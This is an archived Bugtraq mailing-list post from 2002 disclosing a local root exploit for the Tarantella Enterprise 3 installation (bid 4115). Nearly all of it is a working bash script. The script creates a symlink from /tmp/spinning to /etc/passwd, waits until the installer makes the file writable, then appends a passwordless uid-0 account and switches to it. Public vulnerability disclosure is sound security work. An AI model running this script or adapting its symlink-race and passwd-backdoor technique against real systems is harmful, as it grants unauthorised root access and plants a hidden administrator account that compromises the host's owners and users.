Date: Sun, 24 Feb 2002 08:59:38 -0500 (EST)
From: "Larry W. Cashdollar" <lwc@vapid.dhs.org>
To: bugtraq@securityfocus.com
Subject: Exploit for Tarantella Enterprise installation (bid 4115)
Cc: vuldb@securityfocus.com
Had some idle time and wrote this, tested under Linux.
#!/bin/bash
#Larry W. Cashdollar lwc@vapid.dhs.org
#http://vapid.dhs.org
#Tarantella Enterprise 3 symlink local root Installation exploit
#For educational purposes only.
#tested on Linux. run and wait.
echo "Creating symlink."
/bin/ln -s /etc/passwd /tmp/spinning
echo "Waiting for tarantella installation."
while true
do
echo -n .
if [ -w /etc/passwd ]
then
echo "tarexp::0:0:Tarantella Exploit:/:/bin/bash" >> /etc/passwd
su - tarexp
exit
fi
done
